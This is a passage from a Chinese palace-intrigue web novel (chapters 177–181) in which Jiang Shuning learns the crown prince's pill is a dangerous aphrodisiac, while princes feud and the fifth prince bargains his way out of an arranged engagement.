孙神医捏着棋子的手一顿,随即了然地笑了笑,将棋子丢回棋盒,站起身来,对着棋盘对面的老者朗声道:“哎呀,不下了不下了!老夫忽然想起还有桩急事要办,得先走一步了!” 那与他对弈的老臣显然是个棋痴,眼看就要将死对方,哪里肯放他走,当即吹胡子瞪眼地嚷嚷:“孙老头!你这棋马上就要输了,该不会是想当那临阵脱逃的缩头乌龟吧!” 孙神医也不恼,反而抚掌哈哈大笑起来:“哎呀,竟被你看出来了!好好好,这局算我输了,我认输!晚点得了空,再陪你大战三百回合!” 那老者这才面色稍霁,不情不愿地挥了挥手,算是放行了。 姜姝宁将孙神医带到一处僻静无人的假山后,这才从袖中掏出那个丝帕,将那颗红色的丹药递到他面前:“孙神医,您快帮我看看,这丹药是否有问题?” 孙神医接过丹药,放在鼻子底下嗅了嗅,又从随身的荷包里取出一根细长的银针,刺入丹药之中,拔出后对着光亮细细查看。 “从药味和银针的反应来看,并无毒性。”他沉吟着说道,“这里面至少混了十几种大补的药材,鹿茸、海马、银羊藿……都是些名贵之物。目前来看,这些补药之间药性并未相冲,应当无碍。” 无碍? 姜姝宁心头一沉。 若丹药无碍,那太子为何会突然吐血? 难道是他的身体本就出了其他问题? 见她一副忧心忡忡的模样,孙神医捋了捋胡须,好奇地问了一句:“姜姑娘,这丹药,是给哪位男子服用的呀?” 姜姝宁诧异地看着他:“孙神医,您怎么知道这是给男子吃的药?” “这丹药里头的,十有八 九都是壮阳之物,药性猛烈,除了男子,谁会吃这个?” 壮阳之物…… 难怪,难怪方才顾晚樱提起太子服用丹药后的反应时,会那般羞于启齿,面红耳赤。 姜姝宁追问道:“那若是身子本就虚弱的男子,服用了此物,会不会有事?” “这等虎狼之药,乃是催动人 体精元、强行激发阳气的霸道之物。身子强健之人服了,尚且要小心用量,若是给一个本就底子亏空、身子孱弱的人吃下去,那无异于强行催动气血,轻则气血逆转,口鼻出血,重则……五内俱焚,当场毙命啊!” 孙神医的每一个字,都像是一记重锤,狠狠地砸在姜姝宁的心上。 难怪太子会吐血! 皇帝真是乱来,竟让太子服用这种丹药! 不行,她必须立刻将这个消息告诉顾晚樱,绝不能再让太子吃下哪怕一粒这种丹药! 前世,正是因为太子登基后,身子每况愈下日,迟迟没有子嗣,才给了萧凌川和萧修湛那公然起兵夺嫡的借口,最终引得天下大乱,血流成河。 她心中仍存一丝微弱的期望。 倘若今生太子的身体康健,能够顺利诞下皇孙,那么,萧凌川他们,是不是就失去了那个最冠冕堂皇的借口? 上位者争权夺势,导致大邺局势动荡,但遭殃的永远是黎民百姓。 “孙神医!今日之事,多谢您了!”她朝着孙神医深深一揖,心中已是焦急万分,转身便想离开。 可刚迈出一步,她又猛然想起什么,急忙回头叮嘱道,“对了,孙神医,今日我找您看药之事,还请您千万不要跟景王殿下提起!” 孙神医还没来得及应下,一个阴冷得如同淬了冰的声音,却毫无征兆地从他们身后响起。 “不要跟本王提起什么?” 姜姝宁的身子猛地一僵。 她循声望去,只见不远处的假山拐角,萧凌川正朝他们大步走来,一张俊美无俦的脸,此刻却阴沉得能滴出水来。 真是怕什么来什么! 姜姝宁正准备随口搪塞过去,萧凌川却已眼疾手快地瞥见孙神医指尖捏着的那枚丹药,眉头一挑,沉声问道:“这是什么?” 孙神医轻咳一声,略显尴尬地回道:“回王爷,这是……壮阳药。” “壮阳药?”萧凌川目光倏地转向姜姝宁,墨色瞳仁中似有暗潮涌动,“你怎会有这种东西?” 姜姝宁脸颊蓦地一烫,莫名生出几分被当场捉住的窘迫。 她强自镇定,硬着头皮反驳:“王爷,这与你无关!” “姜姝宁!”萧凌川声音陡然一沉,带着几分咬牙切齿的怒意,“你竟敢对本王有所隐瞒?这便是你与本王结盟的诚意吗?” 第178章 他回来了 第一百七十八章 他回来了 姜姝宁的心脏在胸腔里重重地擂鼓,面上却竭力维持着平静。 结盟的诚意? 她与萧凌川之间,不过是各取所需、互相利用的关系,哪里来的什么诚意可言? 没想到他竟拿结盟的诚意来压她。 看来是无计可施了。 这丹药是太子的催命符。 对于萧凌川这样野心勃勃、醉心权谋的皇子而言,太子因丹药吐血身衰,怕是他梦寐以求、乐见其成的局面。 他非但不会阻拦,反而会暗中推波助澜,千方百计逼迫太子继续服用,以达到自己的目的。 毕竟,此丹药乃皇帝御赐,太子若拒不服用,便是抗旨不尊,罪名不小。 届时,谁知道萧凌川为了夺嫡之位,会借此做出何等丧心病狂、颠倒黑白之事? 她不敢冒这个险,更不敢赌他的底线。 见她垂着眼帘,紧抿着唇,一副守口如瓶的模样,萧凌川的神色愈发阴沉。 那双深不见底的眸子,像是结了一层寒冰,冷得刺骨。 既然是壮阳之药,那自然是供男子服用的。 这男子,究竟是何人? 与她又有着怎样的关系? 萧凌川脑海中几乎将她身边可能接触的男子一一筛过,越是深思,心底那股无名的妒火便愈发炽烈,似要将他的理智焚尽。 就在两人之间的气氛凝固到极点之际,一个温和的声音响起,如同一缕春风,突兀地吹散了这片肃杀。 “四哥,姜姑娘,你们都在啊!” 听到这个熟悉的声音,姜姝宁心口猛地一颤。 她愕然转头,便看到萧怀瑾那张温润如玉的脸。 他回来了。 他的身形清瘦了几分,脸颊轮廓愈发棱角分明,原本白 皙如玉的肤色略带几分黝黑,却丝毫不掩那份与生俱来的清隽气质。 他的眉宇间依旧带着那份与生俱来的温和神韵,令人如沐春风,只是细看之下,却多了一丝不易察觉的倦怠之色。 看来这些时日,他在宫外的日子颇为辛劳。 姜姝宁的目光,不自觉地带上了一丝连她自己都未曾察觉的怜惜与担忧。 而这丝柔 软的情绪,分毫不差地落入了萧凌川的眼中。 他心中那片本就翻涌不休的妒火,瞬间被泼上了一瓢滚油,轰然炸开,烈焰滔天。 说出来的话也带着毫不掩饰的讥讽与敌意:“五弟,许久不见,听说你跟着崔大人一起去了西洲?你怕是不记得大邺和西洲两国交恶许久了吧?就这么贸然前去,你们就不怕有去无回?” 萧怀瑾仿佛没有听出他话中的尖刺,神色依旧平静无波,温声道:“四哥多虑了。我与外祖、舅舅此番前往西洲,并非为了国事,只是去谈生意。大邺新近开采出金矿,我们大邺能将金子及其饰品,以低于西洲国市价两成的价格卖给他们。 西洲君王是个精明的商人,有这等好事,高兴还来不及,又怎会为难我们这些送财的商人呢?况且,正因为两国交恶,才更应该互通商贸,以利相交,或许还能以此为契机,缓和两国的关系。” “天真!”萧凌川发出一声不屑的冷哼,“让西洲知道我大邺有金矿,只会让他们更加眼红,催化他们侵占我大邺疆土的野心!你这不是缓和关系,你这是引狼入室!” 萧怀瑾依旧是那副神色浅淡的模样,他微微一笑,话锋一转: “说起来,此行能够顺利,还要多谢四哥。二哥与四哥此番南下,雷厉风行,不仅将南月国的奸计一举摧毁,更是在南境立下了我大邺皇室的赫赫威望。想必西洲国听闻此事,对我大邺的兵力更多了几分忌惮,自然不敢轻举妄动。” 这一番话说得滴水不漏,既抬高了萧凌川的身份,又暗中点出他未免过于多虑。 “油嘴滑舌!”萧凌川被他堵得心口一滞,脸色更加难看,却又找不出话来反驳。 两人你一言我一语,唇枪舌剑,萧凌川竟是完全忘了旁边还站着个姜姝宁,也忘了那枚让他耿耿于怀的丹药。 姜姝宁悄无声息地后退一步,朝着他们对峙的方向福了福身,声音不大不小,刚好能让他们听见: “两位殿下慢慢聊,臣女先行告退!” 说完,也不等他们反应,提着裙摆转身就走,那速度,简直像是脚底抹了油一般,一溜烟就绕过了假山,消失在花木深处。 等萧凌川从与萧怀瑾的对峙中回过神来,眼前哪还有姜姝宁的半点身影? 他脸色骤然阴沉如铁,狠狠瞪了萧怀瑾一眼,那眼神凌厉得仿佛要将对方生吞活剥。 该死的萧怀瑾,早不来晚不来,偏偏挑在这个节骨眼上出现! 倒像是故意现身,为姜姝宁制造一个脱身的机会! —— 姜姝宁往方才和顾晚樱见面的方向走去,身后响起少年清越的声音: “大姐姐,你方才去哪了?我找了你许久!” 姜姝宁循声望去,只见姜天泽和凌芜正朝她大步走来。 看到她,姜天泽的眼睛都瞬间亮了,一张清俊脸上满是笑意。 “无事,就是随处逛逛。”姜姝宁问道,“你们可见到太子妃?” “姜姑娘在找太子妃?我方才路过鱼池时,看到她在喂锦鲤。” 这个温润的声音让姜姝宁心头一跳,她猛地抬头,萧怀瑾正含笑站在姜天泽身后不远处。 他不知何时也跟了过来,依旧是那副温文尔雅的模样,仿佛方才与萧凌川的唇枪舌剑从未发生过。 他笑容和熙,缓步上前:“不如我和你一同前往吧?” 姜姝宁的心跳漏了一拍,她下意识地摸了摸袖中那个为他而做的香囊。 或许,是时候交给他了。 她正要点头应下,身旁的姜天泽却抢先一步开了口,语气里带着毫不掩饰的敌意:“五皇子殿下,您如今已经跟苏家姑娘有了婚约,还是跟大姐姐保持点距离的好,以免遭人误会!” 这话如同一盆冰水,兜头浇下。 萧怀瑾脸上的和煦笑容瞬间凝固,血色以肉眼可见的速度褪去,变得煞白一片。 他下意识地看向姜姝宁,清隽的脸上掠过一丝慌乱:“此事是我母妃擅作主张,我当时出宫在外,根本不知此事!如今我回来了,定会亲自退婚!” 姜姝宁见他这副模样,心中愈发不是滋味。 他果然是不愿意的。 那可是荣贵妃亲口应下,皇帝陛下亲自赐下的婚事,金口玉言,岂是说退就能退的? “五皇子殿下要跟苏家姑娘退婚?”姜天泽发出一声淬了冰的冷笑,“莫说这定亲之事并非儿戏,就算真被你退婚了,那苏家姑娘当如何?你让她往后还有谁愿娶她?富商苏家的颜面,岂容你如此践踏?” 姜天泽的话像一把把尖刀,字字句句都戳在最痛的地方。 萧怀瑾的脸色愈发苍白,嘴唇紧紧抿成一条直线,但他眼中的决绝却未曾动摇分毫。 他像是下定了决心,沉声道:“姜三公子你就不必担心了,此事我自有法子!” 他转头望向姜姝宁,神色坚定,“还请姜姑娘务必等我消息!” 说完,他深深地看了她一眼,大步流星地离开了。 姜姝宁望着他消失的方向,心中五味杂陈。 她没有察觉到,就在不远处的假山之后,一道阴冷而幽怨的目光正落在她身上…… 第179章 妒火烟消云散 第一百七十九章 妒火烟消云散 “苏姑娘,你看到了吧?”假山后,姜瑶真声音压得极低,隐隐带着一股子幸灾乐祸的意味,“五皇子殿下,也就是你的未婚夫,如今为了我那个好姐姐姜姝宁,竟当众说要与你退婚呢!” 她身旁的女子一身珠光宝气,正是京城富商之女苏婉。 此时,苏婉的指甲深深嵌入掌心,脸上满是不甘。 她一个金尊玉贵养大的富商之女,从小到大,想要的东西就没有得不到的。 原以为这门皇室亲事,不过是家族生意场上的一笔锦上添花的交易,可当她亲眼见到萧怀瑾那清风朗月般的容貌和气质时,一颗芳心便不受控制地沦陷了。 那样一个不染尘俗的男子,竟要成为她的夫君,这简直是上天对她最大的恩赐。 可现在,她梦寐以求的未婚夫竟为了另一个女人要同她退婚。 这让她如何能忍? 苏婉冷冷地斜了姜瑶真一眼:“三皇子妃,那可是你的嫡亲姐姐,你这是什么意思?难不成要帮着我一个外人,去对付你的亲姐姐?” “苏姑娘,你有所不知。”姜瑶真立刻换上了一副泫然欲泣的模样,“我这个姐姐,她最擅长的就是抢别人的未婚夫,就连自己亲妹妹的夫君,她都不放过!” “当初三皇子殿下也是被她那副清高孤傲的样子迷得神魂颠倒,非要娶她为正妃。如今我们好不容易成了婚,她倒好,还时不时地在殿下面前晃悠,说些似是而非的话,勾得殿下心里头痒痒的……我这日子过得,真是……” 她说着,还煞有介事地用帕子按了按眼角,擦拭着根本不存在的眼泪。 “你姐姐她……当真如此不堪?”苏婉有些难以置信。 姜瑶真冷笑一声,眼中闪过一丝怨毒:“她何止是不堪!她这人,最享受的便是看着所有男人为她争风吃醋,为她神魂颠倒。你看她,那边把五皇子殿下迷得要死要活,这边又跟景王殿下不清不楚。 她对外头宣称什么今生不嫁,不过是吊着所有人的胃口,不想让任何一个男人彻底放弃对她的念想罢了!真是个天生的狐媚子!” “水性杨花!”苏婉从牙缝里挤出这四个字,满脸怒容,“这样的女子,凭什么让五皇子殿下为她倾心?这个婚,我说什么也不能让殿下退了!” 她绝不允许自己输给这样一个女人! “苏姑娘,你能这么想就对了!”姜瑶真亲昵地挽住她的胳膊,“姜姝宁虽然是我姐姐,但在这件事上,我绝对是站在你这边的!你想想,若你能顺顺利利地嫁给五皇子殿下,往后我们可就是妯娌了,那不就是一家人了吗?” 苏婉被她这番话说得心中熨帖,原本对她的那点防备也消散了大半。 她低头毫不犹豫地褪下自己手指上那枚硕大的红宝石戒指,一把塞进姜瑶真的手里。 “三皇子妃说得是,往后还要请你多多关照。这是我的一点心意,你可千万要收下!” 姜瑶真看着掌心那枚流光溢彩的戒指,眼睛都快直了。 这鸽血红的色泽,澄澈通透,一看便知是价值连城的极品。 苏家果真是富可敌国,这苏婉出手也太阔绰了! “哎呀,这怎么好意思呢!”她嘴上客气着,手却飞快地将戒指戴在了自己手上,对着光线来回欣赏,喜爱之情溢于言表。 “三皇子妃的容貌本就明艳,配这红宝石,更是相得益彰。”苏婉恭维了一句,随即切入正题,“还请三皇子妃多与我说说五皇子殿下的喜好,也好让我……投其所好。” “那是自然!”姜瑶真收了好处,态度更是殷勤。 她凑近苏婉耳边,低声道,“其实,你可以这样做……” —— 景王府的鱼池边,太子妃顾晚樱正百无聊赖地将一把鱼食撒入水中,引得一群色彩斑斓的锦鲤蜂拥而至,争相抢食。 她的侧脸在夕阳的余晖下显得有些落寞,纵然身着华服,头戴珠翠,也掩盖不住眉宇间的一抹愁绪。 见到她这副神情,姜姝宁心神微动。 她不由想起前世的自己,在旁人眼中,是否也是这般模样——明明锦衣玉食,眉眼间却尽是挥之不去的忧愁。 “太子妃。”姜姝宁走上前,轻声唤道。 顾晚樱回过头,见到是她,脸上勉强挤出一丝笑意,随即又化为一声轻叹:“姜姑娘,你说,我们像不像这池子里的锦鲤?” 她又丢下一把鱼食,看着那些为了食物而奋力摇尾的锦鲤,神色黯淡,“旁人看着我们衣食无忧,过着光鲜亮丽的生活,可实际上呢?我们都被困在这方寸之地,半点自由都没有。” “人生来便是困于天地之间的,本就没有绝对的自由可言。”姜姝宁的声音很轻,带着一种洞察世事后的通透。 顾晚樱微微一怔,随即像是想通了什么,露出一个释然的笑意:“你说的对。若身旁的人是对的,这牢笼也是一方天地;若身旁的人是错的,这天地也不过是一座更大的牢笼。东宫虽无自由,但能陪伴在太子哥哥身边,我很满足。” 说这话时,她眼中有光,那是独属于一个沉浸在爱意中的女人的光芒。 那一瞬间,姜姝宁竟有些羡慕她。 前世,她痴恋萧凌川,可华丽的景王府于她而言,却始终是一座冰冷的牢笼。 不知道这一生,她有没有机会遇到那个能让她甘愿画地为牢的人,让她也感受一下,“牢笼也是天地”究竟是何种滋味。 收回纷乱的思绪,姜姝宁朝她走近了几步,压低了声音,神情严肃:“太子妃,那丹药是烈性的壮阳药。太子殿下身子本就孱弱,长期服用此药,只会掏空他的身体,后果不堪设想。” “什么?”顾晚樱如遭雷击,脸色瞬间煞白,手里的鱼食“啪”地一声掉在地上,“怎会如此?那是父皇他……” “或许陛下也并不知晓这丹药的药性如此猛烈。”姜姝宁下意识为皇帝匪夷所思的做法找了个理由,她提醒道,“但不管如何,这药是万万不能再让太子殿下服用了。若要调理,还需寻些温和滋补的方子,徐徐图之才是正道。” 顾晚樱握住她的手,眼中充满了后怕与感激:“姜姑娘……谢谢你!” “太子妃言重了。”姜姝宁轻轻拍了拍她的手背,以示安慰。 目送着顾晚樱脚步匆匆地离去,她终于长长地舒了一口气。 她不知道的是,在她身后不远处的假山背后,一双深邃如寒潭的眸子,正若有所思地注视着她方才的一举一动。 “看来,我们的父皇,终于还是对太子下手了。”萧凌川冷声道。 意识到那枚壮阳丹药是给太子服用后,他心中那团妒火如今烟消云散。 他身旁的七皇子萧琪钰,脸上是抑制不住的恶寒:“虎毒尚不食子,父皇当真连禽 兽都不如!” 萧凌川嗤笑一声,那笑意却未达眼底,反而更添了几分森冷的寒意:“他忌惮二哥和萧修湛的母族,又不太信任我这个身上流着一半南月血脉的儿子,如今,唯有太子这个母族式微的储君,对他的威胁最小。” “只可惜,太子体弱多病,恐难有子嗣延续香火。于是,他便想出这般杀鸡取卵的狠毒法子,逼迫太子妃早诞皇孙,再立一个更为年幼的储君,以此确保他的龙椅长久稳固。” “为了坐稳这至高无上的皇位,他何曾将我们任何一个真正视为儿子?不过是将我们当作他统治江山的棋子和工具罢了。” 即便是对朝臣尚需几分信任,可他们的父皇却只知防备他们,千方百计阻挠他们靠近那张象征无上权力的龙椅。 萧琪钰提醒道:“四哥,如今姜家大姑娘把丹药的事告诉了太子妃,太子想必很快就会停药。太子妃若是迟迟无法诞下子嗣,父皇是绝不会善罢甘休的!” “无妨。”萧凌川眼神冷冽如刀,“自然会有人会收拾他。” 既然那位高高在上的父皇对他们没有半分舐犊之情,那也别指望他们这些做儿子的,会对他存有丝毫的敬重与爱戴。 第180章 他要退婚 第一百八十章 他要退婚 萧怀瑾离开景王府后,便径直策马回了宫,一路面沉如水,周身裹挟着生人勿近的凛冽寒气,直奔荣贵妃所居的福禄宫。 宫人们见他这副山雨欲来的模样,皆吓得噤若寒蝉,纷纷垂首跪地。 他一脚踏入殿内,无视了请安的宫人,目光如利剑般直直射向正悠闲品着香茗的荣贵妃。 “母妃。”他开口,声音冷得像淬了冰,“儿臣要与苏家退婚。” 荣贵妃执着茶盏的手微微一顿,抬起眼帘,看到儿子那张阴沉得快要滴出水的脸,心中咯噔一下。 她放下茶盏,端起惯常的温婉姿态,柔声劝道:“瑾儿,这是你父皇亲自赐下的婚事,金口玉言,岂能说退就退?” “母妃当初为何要应下这门婚事?是谁向你提议让儿臣和那苏家之女结亲的?为何不先问过儿臣的意见?”他冷声质问。 那双素来温润的眼眸,此刻却锐利如鹰隼,紧紧锁住荣贵妃,不放过她脸上任何一丝细微的表情。 荣贵妃被他这审视的目光看得心头发虚,下意识地避开了他的视线,端起茶盏:“瑾儿,母妃知道你心悦姜姑娘。可如今,不过是让你娶苏家姑娘为侧妃,将来你正妃的位置还是可以留给姜姑娘的。况且,与苏家结亲,本就是一桩惠国惠民的大好事……” “母妃!”萧怀瑾忍无可忍,冷声打断了她的话。 那声音不大,却带着不容置喙的压迫感,让整个福禄宫的空气都仿佛凝固了。 “儿臣再问一遍,究竟是谁,提议让儿臣娶苏家之女的?” 面对儿子咄咄逼人的质问,荣贵妃知道今日是糊弄不过去了。 她幽幽叹了口气,像是用尽了全身的力气,才无奈地吐出三个字:“是四皇子。” “果然是他!”萧怀瑾蓦地冷笑出声,笑声是毫不掩饰的嘲弄,“他许给母妃什么天大的好处,竟能让母妃连自己亲儿子的意愿都不顾了?” 荣贵妃犹豫了片刻,在儿子那双仿佛能洞穿一切的眼眸注视下,终是和盘托出:“他承诺,若他日后坐上那个位置,便让我当大邺的太后!” “大邺的太后……”萧怀瑾低声重复着这几个字,随即竟低低地笑了起来。 他笑得眼角都泛起了红,话语却像一把淬了毒的刀子,狠狠扎进荣贵妃的心里,“确实是母妃难以拒绝的好处!毕竟,这个好处,儿臣是无论如何也给不出的!四哥真是好算计,只一个承诺,便将我的母妃彻底收买了!” 荣贵妃见他这副几近癫狂的模样,心里很不是滋味。 “母妃知道你心里委屈,可就一个侧妃罢了,你娶进门来,只当这殿里多了个会喘气的摆件,丝毫不会影响到姜姑娘将来的地位。姜姑娘是个通情达理的好孩子,想必不会在意区区一个侧妃的。” “摆件?”萧怀瑾嘲讽地扬起嘴角,“苏家富甲天下,那苏老爷就这么一个掌上明珠,母妃以为,他会舍得让自己的女儿,专程嫁给儿臣当一个摆件?崔家世代经商,母妃应该比儿臣更清楚,商人,是从来不做亏本的买卖!” 荣贵妃被噎得哑口无言。 萧怀瑾目光陡然变得凌厉,继续道:“母妃当初是如何向儿臣承诺的?您说,会动用整个崔家的支持,去跟四哥做交易,换我与姝宁一个百年好合!没想到,这交易还没开始,母妃您倒是先被他一个太后之位收买,转头就拿自己儿子的终身幸福给卖了!” 这番话,让荣贵妃一阵内疚。 她暗暗自责,当初怎么就如此鬼迷心窍,被萧凌川那几句话给说服了呢? 竟为了一个未必兑现的承诺,伤了自己儿子的心。 “瑾儿,是母妃糊涂了。可事已至此,你父皇已经下了赐婚的圣旨,就算要退婚,也不能由我们先开口,否则会落人口实的。” 她顿了顿,想出了一个折中的法子:“这样吧,过两日,我寻个由头,将那位苏姑娘召进宫里来。你亲自同她聊一聊,看能否说服她,让她主动去向苏家提出退婚。只要苏家肯出面,后续的事情,再由母妃来为你周旋。” 听到这话,萧怀瑾那张紧绷的脸上,总算有了一丝缓和的迹象。 这确实是眼下唯一可行的办法。 “……谢母妃。”他从齿缝里挤出三个字。 两日后,福禄宫。 苏婉随着引路的宫女踏入殿内时,心情激动不已。 她一眼就看到了那个身着月白色锦袍、身姿挺拔的男人。 他静静地站在荣贵妃身侧,明明长着一张温润清隽的脸,可周身的气场却冷冽如冰,让人不敢轻易靠近。 即便如此,苏婉的目光还是像被磁石吸住一般,再也挪不开了。 看到心仪之人在眼前,她只觉得脸颊阵阵发烫,连提前备好的说辞都忘了大半,只匆匆行了个礼,声音里带着一丝不易察觉的颤抖:“民女苏婉,拜见贵妃娘娘,拜见五皇子殿下。” 她偷偷抬眼,见萧怀瑾的视线并未落在自己身上,心中涌上一丝失落,旋即又强打起精神,脸上浮起一抹娇羞的绯色:“不知殿下也在,民女……只给贵妃娘娘带了礼物。” “无妨,苏姑娘不必多礼。”萧怀瑾的声音透着一股礼貌的疏离。 苏婉微微一笑,示意随行的婢女将一个精致的紫檀木礼盒端上来:“贵妃娘娘,这是民女为您精心挑选的礼物,也不知道合不合您的心意,还请贵妃娘娘不要嫌弃!” “苏姑娘有心了。”荣贵妃的目光落在苏婉身上,多了几分审视。 眼前这姑娘生得明眸皓齿,眉眼间带着一股商贾人家独有的精明,却又被那恰到好处的娇羞掩盖得很好。 她示意身边的宫女接过礼盒。 盒子打开的瞬间,殿内响起一片细微的抽气声。 只见丝绒衬垫之上,静静地躺着一串由鸽子蛋大小的帝王绿翡翠串成的项链,珠子颗颗饱满圆润,色泽浓郁得仿佛要滴出水来,一看便知是世间罕有的珍品。 饶是荣贵妃见惯了奇珍异宝,此刻也不由得暗暗心惊。 苏家,果然是深不见底的富贵。 苏婉像是没看到众人惊艳的目光,只是满眼期待地望着荣贵妃,迫不及待地问:“贵妃娘娘,您可喜欢?” 荣贵妃敛了敛眸,将心底的震惊压下,开口道:“苏姑娘太客气了,这礼物实在贵重。若本宫没猜错,这上面一颗翡翠珠子,就够在京城买下一座府邸了吧?” “民女可不知这项链值多少钱。”苏婉巧笑倩兮,话说得滴水不漏,“民女只知道,这抹碧色最衬娘娘您。也只有贵妃娘娘这般雍容华贵的气质,才能压得住这串项链,不让它夺了主人的光彩。” 没有人不喜欢被恭维,尤其这恭维还送上了一份天价的厚礼。 荣贵妃脸上的笑意真切了几分:“苏姑娘过誉了。你的这份礼物,本宫很是喜欢。” 她转头看向向萧怀瑾:“苏姑娘初次来福禄宫,对这里还不熟悉。瑾儿,你带她随处走走,看看这园子里的景致吧。” “是,母妃。”萧怀瑾应得干脆,没有丝毫犹豫。 他转向苏婉,目光终于落在了她的脸上,却依旧清冷无波,“苏姑娘,请。” 苏婉脸上飞起两朵红云,既高兴又羞涩地站起身,提起裙摆,亦步亦趋地跟在他身后,往庭院的方向走去。 庭院里花木扶疏,曲径通幽。 一踏出殿门,那股暖融融的气氛便被户外的微风吹散了。 萧怀瑾在一处假山旁停下脚步,确定四下无人后,便转过身,直截了当地开了口:“苏姑娘,你我的婚事,是母妃擅自做主。不瞒你说,我其实早就心有所属,此生心中再容不得旁人。” 他的话像一盆冰水,兜头浇下,瞬间熄灭了苏婉心中所有雀跃的火苗。 她脸上的笑意瞬间僵住了。 果然,他不想娶自己。 “五皇子殿下心仪之人,是姜家嫡女姜姝宁吧?”她明知故问。 “是。”萧怀瑾并不打算隐瞒,他甚至懒得去想她是如何知道的。 他只想快刀斩乱麻,尽快与她退婚,哪怕付出高一点的代价。 “我心悦她,此生非她不娶。若苏姑娘执意要嫁给我为侧妃,将来定会后悔。你家境优渥,才貌双全,值得更好的,我不想耽误你。若苏姑娘能说动令尊向父皇提出退婚,我愿说服外祖家,将黄金买卖的独家渠道让给苏家,作为补偿。” 他以为这已经是天大的诚意,足以让任何一个商人动心。 他已经做好了继续软硬兼施说服苏婉的准备,谁知她脸上的僵硬竟如冰雪般消融,重新绽开一个灿烂的笑容。 “好啊!” 她答应得如此爽快,反倒让萧怀瑾愣住了:“当真?” “当真。”苏婉的笑容里带上了一丝狡黠,“不过,民女不要什么黄金买卖渠道,那种俗物,我爹爹多的是。” 她的目光越过萧怀瑾的肩膀,投向不远处的一片花圃。 那里,有一只浑身的毛发柔顺得像上好的丝绒的可爱小鹿正在啃食盆栽里新长出来的花 蕾。 “民女要那个!”她指向那只小鹿。 萧怀瑾顺着她指的方向看去,眉头瞬间紧紧蹙起。 那是绒毛,他本来打算送给姜姝宁的宠物。 第181章 炫耀 第一百八十一章 炫耀 萧怀瑾微微蹙眉,一时间有些没反应过来。 他以为苏婉会狮子大开口,或是哭闹着不肯退婚,甚至做好了应对她提出更苛刻条件的准备。 黄金买卖的独家渠道,足以让任何一个商贾之家动心,那是泼天的富贵。 可她,只要一只鹿? “苏姑娘,你可知道我方才说的是什么?黄金的独家渠道,每年可为苏家带来至少百万两白银的进账。你确定,要用这个换一只鹿?” 他怀疑她是不是没听懂,或者根本不明白那笔生意意味着什么。 一个养在深闺的商贾之女,或许对数字和财富没有概念,只觉得宫里的宠物新奇有趣。 “民女听得很清楚,殿下。”苏婉收回手,脸上的笑容依旧甜美,甚至比刚才更多了几分真切。 “黄金白银,我家多得是,早就看腻了。可这宫里的小鹿,却是独一份的。民女就是喜欢它,不行吗?” 她的语气带着几分娇憨的任性,像极了一个被宠坏的孩子在索要心爱的玩具。 萧怀瑾再次打量她。 那张娇俏的脸上,除了方才初见他时的羞涩,此刻剩下的全是孩子气的执拗。 他心底的那丝警惕,瞬间被一种荒谬感所取代。 或许,她真的就只是个头脑简单的姑娘。 这样也好,事情反而变得简单了。 “此鹿名为‘绒毛’,是我养了半年的宠物。”萧怀瑾的语气缓和下来,温声道,“既然苏姑娘喜欢,我便将它赠予你。只要你答应回去后立刻说服令尊,向父皇奏请退婚。” “口说无凭。”苏婉眨了眨眼眸,“万一我回了家,殿下却反悔了,不把小鹿给我了,我岂不是亏大了?” “那依苏姑娘之见,当如何?”萧怀瑾耐着性子问。 “很简单呀。殿下现在就让人把绒毛给我送到府上去。只要我见到绒毛进了我们苏家的门,我立刻就去求我爹爹。我爹爹最疼我了,只要我开口,他没有不答应的。” 萧怀瑾心想,罢了,不过是一只小鹿罢了。 只要能退掉这门婚事,将来再寻一只更好的送到姜姝宁面前,也并非难事。 “好,我答应你。”他颔首,算是应下了这个荒唐的条件,“我这就命人去办。希望苏姑娘也能信守承诺。” “那是自然!”苏婉笑得眉眼弯弯,对着萧怀瑾盈盈一福,“多谢五殿下成全。民女在此等候殿下的好消息。” 她那副雀跃的模样,像个终于讨到糖吃的孩子,让萧怀瑾最后一丝疑虑也烟消云散。 他转身离去,准备去安排人手,将精心饲养了半年的绒毛送出宫去。 看着他毫不犹豫离去的背影,苏婉脸上的笑容缓缓敛去,那双清澈的眼眸骤然变得幽深而冰冷。 五皇子殿下,姜姝宁真的有那么好吗? 为了她,你竟连我这京城第一富商之女的婚也要退。 她冷笑一声,眼底闪过一抹阴鸷:既然你如此执迷不悟,那我便只好让姜姝宁知难而退了! 景王府内,凌风步履匆匆地入内禀报:“王爷,宫中眼线来报,五皇子方才命人将他豢养的那头小鹿,送往了苏府。” “哦?那头鹿?”萧凌川唇角勾起一抹冷笑,眼中尽是算计,“就是他用以讨好姜姝宁的那只?这才刚与苏家定了亲,便迫不及待地将宠物转赠旁人……这种事,怎么能不让姜姑娘知晓?” 他吩咐道:“传话给凌芜,让她务必将此事透露给姜姝宁。也该让知道,萧怀瑾有多见异思迁!” “是,殿下!” 另一边,凌芜刚得了凌风的传话,正绞尽脑汁地想该如何不着痕迹地将此事告知姜姝宁,就在此时,管家手捧一张精致的请帖走了进来:“大小姐,苏府送来了请帖。” “苏家?”姜姝宁接过请帖,眉头微蹙。 她与这京城首富苏家素无往来,对方为何会突然下帖相邀? 打开一看,帖上言辞恳切,邀她去苏府赏花。 凌芜看着那请帖上的内容,心想,赏花是假,炫耀那只从五皇子处得来的小鹿才是真吧。 “管家,替我婉拒了吧。”姜姝宁对此兴趣索然,随口便道。 凌芜连忙上前,故作期待道:“大小姐,苏家可是京城第一富商,府邸的奇珍异卉定然不少,尤其是那牡丹园,听说盛名在外呢!大小姐就带奴婢去开开眼界嘛!” 姜姝宁被她这副模样逗笑了,无奈地摇了摇头:“罢了,便依你一次,去赴了这赏花宴。” “谢大小姐!”凌芜暗自窃喜。 此行一去,大小姐自然会知晓五皇子赠鹿一事。 为了离间大小姐与五皇子的情意,四皇子殿下当真是煞费苦心。 两日后,姜姝宁依约带着凌芜,乘坐马车前往苏府。 苏家不愧是京城首富,府邸坐落在寸土寸金的锦绣大街上,府墙高耸,琉璃瓦在阳光下熠熠生辉,墙角雕梁画栋,处处彰显着奢靡与富贵,仿佛连空气中都弥漫着一股金银堆砌的气息。 与姜家那种世家清雅不同,苏府的富丽堂皇显得有些张扬。 才刚下马车,苏府的管家便满面堆笑地迎了上来,热情得近乎谄媚:“哎哟,可是姜家大小姐到了?我家小姐可是一早就盼着您了,快请进,快请进!” 姜姝宁淡淡颔首,随着管家踏入府中。 只见庭院内假山流水,亭台楼阁,无一不精,无一不贵。 凌芜跟在后面,暗暗咋舌。 她原以为景王府已经够奢华了,没想到这苏家竟是恨不得把金子银子都糊在墙上。 穿过几重回廊,便到了花园。 